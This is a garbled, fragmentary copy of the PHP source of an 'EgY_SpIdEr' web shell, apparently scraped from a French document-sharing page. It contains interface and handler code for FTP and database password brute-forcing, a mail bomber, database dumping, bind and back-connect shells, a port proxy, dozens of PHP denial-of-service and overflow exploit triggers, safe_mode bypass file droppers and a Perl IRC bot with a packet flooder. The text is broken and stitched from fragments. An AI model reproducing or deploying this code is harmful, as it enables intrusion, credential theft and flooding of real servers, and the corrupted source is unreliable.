'hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
$arh = $lang[$language.'_text92'];
if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').'
zip'; }
if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').'
gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').'
bzip'; }
$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
{
$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
echo "<font face=Verdana size=-2><b><div align=center id='n'>".

$lang[$language.'_text94']."</div></b></font>";
$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?
($_POST['ftp_server_port']):
("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-
2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".
$lang[$language.'_text95']."</a> )</font>");
echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).
$lang[$language.'_text101']);
echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,
(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?
($_POST['dictionary']):($dir.'passw.dic'))));
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;

($_POST['ftp_server_port']):("127.0.0.1:21"))));
$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?
($_POST['ftp_login']):("anonymous"))));
$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?
($_POST['ftp_password']):("egy_spider@hotmail.com"))));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,
(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-
dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
$arrow."</b>",in('text','loc_file',20,$dir));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select
name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option
value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));

($_POST['ftp_server_port']):("127.0.0.1:21"))));
$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?
($_POST['ftp_login']):("anonymous"))));
$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?
($_POST['ftp_password']):("egy_spider@hotmail.com"))));
echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,
(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-
dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select
name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option
value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
echo $te."</td>".$fe."</tr></div></table>";
}
{
echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!
empty($_POST['to'])?($_POST['to']):
("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!
empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com"))));
echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!
empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text
cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text
here")).'</textarea>');

("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell"))));
$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);

("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir)
);
empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text
cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text
here")).'</textarea>');
echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!
empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".
$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?
($_POST['mail_size']):10)));
}
{
$select = '<select name=db>';
if($mysql_on) $select .= '<option value=MySQL>MySQL</option>';
if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>';
if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>';
if($ora_on) $select .= '<option value=Oracle>Oracle</option>';
if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>';
if($msql_on) $select .= '<option value=mSQL>mSQL</option>';
if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>';
$select .= '</select>';
$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?
($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!
empty($_POST['db_port'])?($_POST['db_port']):(""))));
echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,
(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-
2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".
$lang[$language.'_text95']."</a> )</font>");
echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).
$lang[$language.'_text101']);
echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!
empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?
($_POST['dictionary']):($dir.'passw.dic'))));

echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].
$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?
($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!
empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b>
'.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):
("user"))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".
$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif
id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?
($_POST['dif_name']):("dump.sql"))));

echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].
$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?
($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!
empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!
empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW
TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT
user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</
div>";
echo "</td>".$fe."</tr></div></table>";
}
{
$arrow."</b>",in('text','port',10,'11457'));
$arrow."</b>",in('text','bind_pass',10,'r57'));
echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\"
name=\"use\"><option value=\"Perl\">Perl</option><option
value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,
((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
$arrow."</b>",in('text','port',15,'11457'));
name=\"use\"><option value=\"Perl\">Perl</option><option
value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
$arrow."</b>",in('text','local_port',10,'11457'));
$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
$arrow."</b>",in('text','remote_port',10,'6667'));
name=\"use\"><option value=\"Perl\">datapipe.pl</option><option
value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
echo "<font face=Verdana size=-2><b><div align=center
id='n'>Proxy</div></b></font>";
$arrow."</b>",in('text','proxy_port',10,'31337'));
name=\"use\"><option
value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
}
echo "<font face=tahoma size=-2><b><div align=center id='n'>".
$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$lan
guage.'_butt3']));
$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts;
echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".
echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive
memory exhaustion').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit
[pack()]').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF
[unserialize()]').$fe);
ZendEngine').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite
[dl()] vuln').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE
[preg_match()](PHP<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit
[str_repeat()](PHP<5.2.1)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache
process killer').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload
[tempnam()](PHP<5.1.2)').$fe);
[wordwrap()](PHP<5.1.2)').$fe);
[array_fill()](PHP<5.1.2)').$fe);
[substr_compare()](PHP<5.1.2)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr.
64b[unserialize()](PHP<5.2.1)').$fe);
[str_ireplace()](PHP<5.2.x)').$fe);
[htmlentities()](PHP<5.1.6,4.4.4)').$fe);
[zip_entry_read()](PHP<4.4.5)').$fe);
[sqlite_udf_decode_binary()](PHP<5.2.1)').$fe);
[msg_receive()](PHP<5.2.1)').$fe);
[php_stream_filter_create()](PHP5<5.2.1)').$fe);
[unserialize()](PHP<4.4.4)').$fe);
[gdImageCreateTrueColor()](PHP<5.2.x)').$fe);
[gdImageCopyResized()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS
[iconv_substr()](PHP<5.2.x)').$fe);
[setlocale()](PHP<5.2.x)').$fe);
[glob()] 1 (PHP<5.2.x)').$fe);
[glob()] 2 (PHP<5.2.x)').$fe);
[fnmatch()](PHP<5.2.x)').$fe);
[imagepsloadfont()](PHP<5.2.x)').$fe);
echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL
[msql_connect](PHP<5.2.x)').$fe);
[chunk_split()](PHP<5.2.x)').$fe);
[php_win32sti.dl](PHP<5.2.x)').$fe);
[php_iisfunc.dll](PHP<5.2.x)').$fe);
[ntuser_getuserlist()](PHP<5.2.x)').$fe);
[com_print_typeinfo()](PHP<5.2.x)').$fe);
[iconv()](PHP<5.2.x)').$fe);
[iconv_m_d_headers()](PHP<5.2.x)').$fe);
[iconv_mime_decode()](PHP<5.2.x)').$fe);
[iconv_strlen()](PHP<5.2.x)').$fe);
/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()]
(PHP<5.2.x)').$fe);*/
echo $te."</td></tr></div></table>";
$arrow."</b>",in('text','egy_bypass2',10,'bypass2.php').ws(4).in('submit','submit'
,0,$lang[$language.'_butt65']));
$arrow."</b>",in('text','egy_bypass',10,'bypass.php').ws(4).in('submit','submit',0
,$lang[$language.'_butt65']));
$arrow."</b>",in('text','egy_ini',10,'root.php').ws(4).in('submit','submit',0,$lan
g[$language.'_butt65']));
$arrow."</b>",in('text','php_ini1',10,'php.ini').ws(4).in('submit','submit',0,$lan
$arrow."</b>",in('text','htacces',10,'htaccess').ws(4).in('submit','submit',0,$lan
$arrow."</b>",in('text','file_ini',10,'ini.php').ws(4).in('submit','submit',0,$lan
$arrow."</b>",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,
$lang[$language.'_butt65']));
$arrow."</b>",in('text','egy_know',10,'know_conf.php').ws(4).in('submit','submit',
0,$lang[$language.'_butt65']));
{
}
echo $te."</td></tr></div></table>";
echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma
size=-2><b>o---[ EgY_SpIdEr | </a> | <a
egy_spider@hotmail.com>egy_spider@hotmail.com</a> |developer by egy spider (ahmed
rageh) ]---o</b></font></div></td></tr></table>";
echo '</body></html>';
?>

Easy

Transféré par

Informations du document

Description originale:

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

Easy

Transféré par

Droits d'auteur :

Formats disponibles

<?

//Change User & Password

// Text to appear just above login form.

foreach ($tacfgd as $key => $val) {

// Logout attempt made. Deletes any remember-me cookie as well

if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0

//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8

/* ??? ?????? ???????? ???? ????? realpath() */

$head = '

'ar_text33'=>'���� ����� ��� � open_basedir with cURL functions(PHP <= 4.4.2,

if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) &&

if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new

if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !

my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\

for(my \$c=0; \$c<= $#lines; \$c++) {

sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL

if (\$case =~ /^join (.*)/) {

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki

socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;

if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {

open(FILE, \">> \$arquivo\");

my \$packbyte = pack(\"N\", \$cur_byte);

&::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");

chomp \$address; # just in case, sigh.

$select_downloaders='<select size="1" name=with>';

echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td

'</center></font>'.$fe.'</td>'.'<td bgcolor=#333333><font face=#FFFFFF size=-2>';

echo ws(2)."PHP version: <b>".@phpversion()."</b>";

echo "Safe_mode: <b>";

if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".

if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".

if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font

if($unix && !$safe_mode)

if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")

if(!empty($_POST['cmd']) && $_POST['cmd']=="touch")

if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !

if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] =

$_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt? add ss ini.php

$_POST['cmd']=" Now been added files ( bypass.php / bypass2.php / root.php /

if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] =

if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !

if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") ||

if (@function_exists('scandir') && ($d=@scandir($dir)) && !isset($_POST['glob'])

elseif (@function_exists('dir') && ($d=@dir($dir)) && !isset($_POST['glob'])

elseif (@function_exists('opendir') && @function_exists('readdir') &&

elseif(@function_exists('glob') && (isset($_POST['glob']) || !

if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump")

function div_title($title, $id)

if($unix && @function_exists('touch')){

if(!$safe_mode && $unix){

echo "<font face=Verdana size=-2><b><div align=center id='n'>".

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;

echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;

Vous aimerez peut-être aussi

'ar_text33'=>'�� open_basedir with cURL functions(PHP <= 4.4.2,